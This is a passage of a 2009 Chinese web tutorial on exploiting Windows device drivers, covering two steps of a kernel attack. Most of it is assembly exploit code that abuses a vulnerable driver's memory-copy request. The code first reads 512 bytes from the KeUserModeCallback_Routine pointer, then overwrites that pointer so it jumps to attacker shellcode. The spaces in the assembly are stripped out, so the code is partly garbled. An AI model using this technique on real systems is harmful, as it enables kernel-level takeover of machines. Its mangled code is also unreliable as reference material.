详解如何利用Windows设备驱动
2009-02-12 13:55:33 来源:WEB开发网关键点3:发送一个信号,从KeUserModeCallback_Routine 地址处获得512 bytes
当我们使用一些代码覆盖512 bytes 的内核空间时,我们有很大可能会导致机器崩溃。
为了避免这种情况,我们会使用一些狡猾的方法:发送一个包含我们可以从原始ntoskrnl 数据中获得的lpInputBuffer 结构信号,就像下面的exploit 代码中演示的那样:
D_PACKETstruct;littlevulnerabledriver
dp_destdd0;signalstruct
dp_srcdd0
D_PACKETends
;firstsignalcopiesoriginalbytestothebuffer
moveax,dwordptr[KeUserModeCallback_Routine]
movdwordptr[routine_addr],eax
mov[edi.D_PACKET.dp_src],eax;eax=source
mov[edi.D_PACKET.dp_dest],edi;edi=dest(allocatedmem)
add[edi.D_PACKET.dp_dest],8;edi+=sizeof(D_PACKET)
movecx,512;sizeofinputbuffer
calltalk2device;sendthesignal!!!
;codewillbestoredatedi+8
关键点4:覆盖KeUserModeCallback_Routine
关键是如何执行我们的shellcode。通常我们使用与上次信号交换值的方法实现,而且仅需要改变第一次读取数据的前四个字节。
;maketheoldKeUserModeCallback_Routinepointtoourshellcode
;andexchangethesourcepacketwithdestinationpacket
mov[edi+8],edi;overwritetheoldroutine
add[edi+8],512+8;makeitpointtoourshellc.
moveax,[edi.D_PACKET.dp_src]
movedx,[edi.D_PACKET.dp_dest]
mov[edi.D_PACKET.dp_src],edx;fillthepacketstructure
mov[edi.D_PACKET.dp_dest],eax
movecx,MY_ADDRESS_SIZE
calltalk2device;dothemagicthing!
更多精彩
赞助商链接